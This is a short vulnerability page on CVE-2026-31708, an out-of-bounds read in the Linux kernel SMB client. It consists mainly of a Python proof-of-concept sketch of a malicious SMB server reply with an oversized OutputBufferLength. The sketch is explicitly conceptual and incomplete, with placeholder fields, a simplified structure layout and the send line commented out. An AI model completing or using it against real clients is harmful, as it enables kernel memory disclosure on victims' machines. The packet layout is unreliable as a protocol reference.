CVE-2026-31708 Linux内核SMB客户端越界读取漏洞

# PoC Concept: Malicious SMB Server Response Simulation # This script demonstrates how a malicious SMB server might respond # to trigger the OOB read in the client's kernel. import socket import struct # Simulate a crafted SMB2 IOCTL Response for QUERY_INFO # The key is setting OutputBufferLength larger than the actual data sent. def send_malicious_response(client_socket): # SMB2 Header (simplified) smb2_header = b"\xfe\x53\x4d\x42" # Protocol ID smb2_header += b"\x00\x00\x00\x00" # Structure Size (placeholder) # ... other header fields ... # IOCTL Response Structure structure_size = 49 output_buffer_offset = 48 # Offset to buffer output_buffer_length = 0xFFFFFFFF # Malicious large length flags = 0 # Build IOCTL response part ioctl_resp = struct.pack("<H", structure_size) ioctl_resp += struct.pack("<H", 0) # Reserved ioctl_resp += struct.pack("<I", 0) # CtlCode (placeholder) ioctl_resp += struct.pack("<I", 0) # FileId (placeholder) ioctl_resp += struct.pack("<I", 0) # Reserved ioctl_resp += struct.pack("<I", 0) # InputOffset ioctl_resp += struct.pack("<I", 0) # InputCount ioctl_resp += struct.pack("<I", output_buffer_offset) ioctl_resp += struct.pack("<I", output_buffer_length) # The malicious length ioctl_resp += struct.pack("<I", flags) ioctl_resp += struct.pack("<I", 0) # Reserved2 # Actual buffer data (smaller than declared length) buffer_data = b"AAAA" full_packet = smb2_header + ioctl_resp + buffer_data # In a real exploit, this packet would be sent as a valid SMB2 response # causing the kernel to read beyond 'buffer_data'. print(f"Sending packet with declared OutputBufferLength: {hex(output_buffer_length)}") # client_socket.send(full_packet) print("Note: This is a conceptual representation of the server-side logic required to trigger the vulnerability.")